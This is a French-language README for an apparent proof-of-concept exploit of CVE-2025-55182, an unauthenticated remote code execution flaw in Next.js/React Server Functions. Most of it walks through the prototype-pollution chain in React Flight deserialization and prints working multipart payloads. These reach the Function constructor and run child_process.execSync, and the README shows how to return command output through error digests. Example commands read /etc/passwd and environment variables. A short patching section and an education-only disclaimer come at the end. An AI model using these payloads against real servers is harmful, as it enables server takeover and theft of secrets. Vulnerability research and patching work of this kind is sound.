
Exploit de preuve de concept pour CVE-2025-55182, une vulnérabilité d'exécution de code à distance dans React Server Functions (Next.js). Démontre une pollution de prototype conduisant à une exécution de code arbitraire non authentifiée via des requêtes HTTP conçues.
Code de démonstration pour une vulnérabilité d'exécution de code à distance (RCE) dans les React Server Functions (Next.js, etc.). Exploite la pollution de prototype pour exécuter du code arbitraire sur le serveur sans authentification.
Attention : Ce dépôt est destiné à des fins éducatives et de recherche. Toute utilisation malveillante est strictement interdite.
Dans le traitement de désérialisation du React Flight Protocol, la validation de la chaîne de prototypes est insuffisante. Cela permet d'accéder au constructeur Function via __proto__ et d'exécuter du code JavaScript arbitraire.
Méthode la plus simple pour tester.
# 1. Lancer le serveur Next.js vulnérable
docker compose up -d --build
# 2. Exécuter l'exploit (par défaut : commande id)
docker compose run --rm poc
# 3. Exécuter une commande personnalisée
docker compose run --rm -e COMMAND="whoami" poc
docker compose run --rm -e COMMAND="cat /etc/passwd" poc
docker compose run --rm -e COMMAND="env" poc
# 4. Arrêter le serveur
docker compose down
Fonctionnalité API côté serveur proposée par Next.js, etc.
// Server Action (fonction exécutée uniquement côté serveur)
async function submitForm(formData) {
'use server' // ← déclaration de fonction serveur
// Opérations côté serveur, comme la base de données
const result = await db.insert(formData)
return result
}
Lorsqu'elle est appelée depuis le client :
Le client envoie les données par unités appelées « chunks » (morceaux) :
files = {
"0": (None, '["$1"]'), # chunk 0 : référence au chunk 1
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'), # chunk 1 : référence à fruitName du chunk 2
"2": (None, '{"fruitName":"cherry"}'), # chunk 2 : données réelles
}
Après désérialisation côté serveur :
{ object: 'fruit', name: 'cherry' }
Le point clé est la possibilité de références croisées entre chunks.
Avant le commit de correction, lors de la résolution des références entre chunks, la vérification de l'existence réelle de la clé dans l'objet n'était pas effectuée.
Cela permet d'accéder à la chaîne de prototypes.
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
Processus de résolution :
Objet du chunk 1 → __proto__ → constructor → constructor → Function
Résultat :
[Function: Function] // Constructeur Function obtenu !
En faisant du chunk 0 un objet et en définissant la propriété then sur le constructeur Function :
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
Dans le code de Next.js (action-handler.ts:888, avant le correctif) :
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
Ce await tente d'appeler l'objet dont then est le constructeur Function, ce qui provoque une erreur :
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
Le constructeur Function est obtenu, mais comment exécuter du code arbitraire ?
Ce dont nous avons besoin :
Idée de maple3142 : créer un « faux chunk » où le chunk 0 se référence lui-même.
files = {
"0": (None, '{"then": "$1:__proto__:then"}'), # Remplacer son propre then par Chunk.prototype.then
"1": (None, '"$@0"'), # $@0 = représentation « brute » du chunk 0
}
La syntaxe $@ renvoie le chunk brut, non résolu :
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
Résultat : le then du chunk 0 est remplacé par Chunk.prototype.then.
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this); // ← entre ici
}
// ...
}
En définissant status: "resolved_model" sur le faux chunk, initializeModelChunk est appelée :
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}
Dans initializeModelChunk :
function initializeModelChunk(chunk) {
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ...
}
Ici, une deuxième évaluation a lieu.
Traitement des blobs dans le React Flight Protocol (préfixe $B) :
case "B":
return (
obj = parseInt(value.slice(2), 16),
response._formData.get(response._prefix + obj) // ← exploité ici
);
En manipulant le _response du faux chunk pour que _formData.get soit le constructeur Function et _prefix le code à exécuter :
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1, # pour éviter une erreur avec toString()
"value": '{"then": "$B0"}', # définir then via référence blob
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor", # Constructeur Function
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
Déroulement de l'exécution :
response._formData.get(response._prefix + "0")
↓
Function("process.mainModule.require('child_process').execSync('calc');0")
↓
// Cette fonction est appelée via await → exécution du code !
poc.py implémente la charge utile ci-dessus et extrait le résultat de la commande depuis le message d'erreur :
# Intègre la sortie de la commande dans le champ digest de l'erreur
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});"
Il suffit de définir l'en-tête HTTP Next-Action: x pour que l'attaque réussisse :
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers)
Important : Cette attaque se produit pendant la désérialisation, donc avant la validation de l'action (getActionModIdOrError).
Mettre à jour immédiatement : mettre à jour React et Next.js vers les dernières versions
npm update react react-dom next
Vérifier les versions :
npm list react next
WAF/mesures de sécurité :
Next-Action# Vérifier les vulnérabilités du projet
npm audit
Ce dépôt est fourni uniquement à des fins éducatives et de recherche.
Découverte de la vulnérabilité : maple3142 Implémentation du PoC : l'auteur de ce dépôt